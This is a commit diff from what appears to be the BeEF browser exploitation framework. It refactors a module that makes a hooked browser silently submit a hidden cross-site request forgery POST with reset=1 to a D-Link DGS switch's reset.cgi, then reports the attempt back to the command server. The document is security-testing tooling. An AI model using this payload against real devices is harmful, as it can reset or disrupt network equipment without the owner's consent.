Adjusting to use XsrfForm

This commit is contained in:
Nicholas Starke
2017-02-25 08:08:37 -06:00
parent 14d60c57d8
commit f3b797475c

View File

@@ -8,22 +8,9 @@ beef.execute(function() {
// Hooked browser must be authenticated to switch.
var base = '<%= @base %>';
var dlink_dgs_iframe = beef.dom.createInvisibleIframe();
var form = document.createElement('form');
form.setAttribute('action', base + "/cgi/reset.cgi");
form.setAttribute('method', 'POST');
var input = null;
input = document.createElement('input');
input.setAttribute('type', 'hidden');
input.setAttribute('name', 'reset');
input.setAttribute('value', 1);
form.appendChild(input);
dlink_dgs_iframe.contentWindow.document.body.appendChild(form);
form.submit();
var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/reset.cgi', 'POST', 'application/x-www-form-urlencoded', [
{ type: 'hidden', name: 'reset', value: 1 }
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");